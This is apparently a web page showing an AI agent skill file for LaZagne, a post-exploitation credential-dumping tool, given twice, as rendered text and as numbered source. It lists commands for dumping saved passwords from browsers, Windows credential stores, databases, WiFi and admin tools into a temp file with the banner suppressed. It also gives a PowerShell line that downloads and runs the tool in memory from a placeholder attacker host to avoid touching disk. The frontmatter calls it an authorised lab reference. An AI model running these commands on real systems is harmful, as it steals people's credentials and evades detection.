LaZagne
Post-exploitation credential recovery from installed applications — browsers, mail, Git, databases, WiFi, and more.
Quick Start
# Dump everything
lazagne.exe all
# Browsers only
lazagne.exe browsers
# Specific module
lazagne.exe windows
Module Categories
| Category |
What's Covered |
browsers |
Chrome, Firefox, Edge, Opera, IE, Brave |
windows |
Credential Manager, DPAPI, LSA secrets, Vault |
mails |
Thunderbird, Outlook, Outlook Express |
databases |
MySQL, PostgreSQL, MSSQL, Oracle |
network |
WiFi passwords, VPN (Cisco, OpenVPN, WireGuard) |
memory |
KeePass, mRemoteNG, Pidgin |
git |
Git credentials |
chats |
Skype |
sysadmin |
WinSCP, PuTTY, FileZilla, mRemoteNG, TeamViewer |
Core Flags
| Flag |
Description |
all |
Run all modules |
<module> |
Run specific module category |
-oJ <file> |
JSON output |
-oN <file> |
Text output |
-oA <dir> |
All output formats to directory |
-v |
Verbose |
-vv |
Debug |
-quiet |
No banner |
Common Workflows
# Full credential dump to JSON
lazagne.exe all -oJ C:\Windows\Temp\creds.json -quiet
# Browser creds only
lazagne.exe browsers -v
# Sysadmin tool creds (WinSCP, FileZilla, etc.)
lazagne.exe sysadmin
# WiFi passwords
lazagne.exe network
# Run from PowerShell (in-memory if needed)
# Download and run without dropping to disk:
IEX(New-Object Net.WebClient).DownloadString('http://attacker/LaZagne.py')
Output Example
[+] Password found !!!
URL: https://corp-mail.example.com
Login: john.doe@example.com
Password: Summer2024!
Resources
| File |
When to load |
references/credential-sources.md |
Module details, DPAPI decryption, browser DB paths, output parsing |
Structuring This Skill
1---2name: lazagne3description: Auth/lab ref: LaZagne secret-exposure audit; browser/app/Wi-Fi/Git artifacts, user/admin context, defensive validation evidence.4license: MIT5---67# LaZagne89Post-exploitation credential recovery from installed applications — browsers, mail, Git, databases, WiFi, and more.1011## Quick Start1213```cmd14# Dump everything15lazagne.exe all1617# Browsers only18lazagne.exe browsers1920# Specific module21lazagne.exe windows22```2324## Module Categories2526| Category | What's Covered |27|----------|----------------|28| `browsers` | Chrome, Firefox, Edge, Opera, IE, Brave |29| `windows` | Credential Manager, DPAPI, LSA secrets, Vault |30| `mails` | Thunderbird, Outlook, Outlook Express |31| `databases` | MySQL, PostgreSQL, MSSQL, Oracle |32| `network` | WiFi passwords, VPN (Cisco, OpenVPN, WireGuard) |33| `memory` | KeePass, mRemoteNG, Pidgin |34| `git` | Git credentials |35| `chats` | Skype |36| `sysadmin` | WinSCP, PuTTY, FileZilla, mRemoteNG, TeamViewer |3738## Core Flags3940| Flag | Description |41|------|-------------|42| `all` | Run all modules |43| `<module>` | Run specific module category |44| `-oJ <file>` | JSON output |45| `-oN <file>` | Text output |46| `-oA <dir>` | All output formats to directory |47| `-v` | Verbose |48| `-vv` | Debug |49| `-quiet` | No banner |5051## Common Workflows5253```cmd54# Full credential dump to JSON55lazagne.exe all -oJ C:\Windows\Temp\creds.json -quiet5657# Browser creds only58lazagne.exe browsers -v5960# Sysadmin tool creds (WinSCP, FileZilla, etc.)61lazagne.exe sysadmin6263# WiFi passwords64lazagne.exe network6566# Run from PowerShell (in-memory if needed)67# Download and run without dropping to disk:68IEX(New-Object Net.WebClient).DownloadString('http://attacker/LaZagne.py')69```7071## Output Example7273```74[+] Password found !!!75URL: https://corp-mail.example.com76Login: john.doe@example.com 77Password: Summer2024!78```7980## Resources8182| File | When to load |83|------|--------------|84| `references/credential-sources.md` | Module details, DPAPI decryption, browser DB paths, output parsing |8586## Structuring This Skill
AeonDave